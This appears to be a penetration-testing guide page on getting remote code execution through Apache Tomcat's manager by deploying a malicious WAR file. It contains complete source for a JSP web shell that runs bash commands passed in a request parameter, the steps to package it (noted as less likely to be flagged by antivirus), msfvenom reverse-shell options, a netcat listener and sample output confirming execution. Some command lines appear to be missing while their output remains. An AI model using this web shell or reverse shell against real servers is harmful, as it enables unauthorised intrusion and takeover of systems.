Tomcat Manager WAR Deployment
The Tomcat manager's WAR deployment feature is designed for legitimate application deployment but provides direct remote code execution when accessible with valid credentials. A malicious WAR file containing a JSP web shell is deployed as a web application, then accessed via HTTP to execute commands. Confirm manager access and valid credentials through Tomcat manager testing before proceeding.
Create the Malicious WAR File
Generate a JSP reverse shell WAR using msfvenom:
Payload size: 1088 bytes Final size of war file: 1088 bytes Saved as: /tmp/shell.war
Explain command
| -p java/jsp_shell_reverse_tcp | Specifies the payload: a JSP-based reverse TCP shell for Java environments. |
| LHOST=$LHOST | Sets the attacker's listening IP address for the reverse connection. |
| LPORT=$LPORT | Sets the attacker's listening port for the reverse connection. |
| -f war | Specifies the output format as a WAR (Web Application Archive) file. |
| -o /tmp/shell.war | Writes the generated payload to the specified output file path. |
Alternatively, create a minimal WAR manually with a simple JSP web shell — less likely to be flagged by AV:
mkdir -p /tmp/warshell/WEB-INF
cat > /tmp/warshell/shell.jsp << 'EOF'
<%@@ page import="java.util.*,java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c",cmd});
InputStream in = p.getInputStream();
BufferedReader br = new BufferedReader(new InputStreamReader(in));
String line;
while((line = br.readLine()) != null) output += line + "\n";
}
out.println(output);
%>
EOF
cat > /tmp/warshell/WEB-INF/web.xml << 'EOF'
<?xml version="1.0"?>
<web-app xmlns="http://java.sun.com/xml/ns/javaee" version="2.5">
<display-name>Shell</display-name>
</web-app>
EOF
cd /tmp/warshell && jar -cvf /tmp/shell.war .
Deploy via Manager Web UI
Upload the WAR through the manager HTML interface with curl:
OK - Deployed application at context path [/shell]
Confirm Execution
uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)
Get a Reverse Shell
Explain command
| -l | Listen mode, waits for incoming connections. |
| -v | Verbose output, displays connection details. |
| -n | Skip DNS resolution, use numeric IPs only. |
| -p | Specifies the local port number to listen on. |
| $LPORT | Variable placeholder for the local listening port number. |
Deploy via msfvenom WAR (Automatic Shell)
When using the msfvenom-generated WAR, find the JSP filename inside the archive and access it directly:
Undeploy After Assessment
Remove the deployed WAR immediately after obtaining the shell:
OK - Undeployed application at context path [/shell]
References
-
Apache Tomcat — Manager HOW-TOtomcat.apache.org/tomcat-9.0-doc/manager-howto.html (opens in new tab)
Deploy and undeploy API documentation including text interface
Was this helpful?
Your feedback helps improve this page.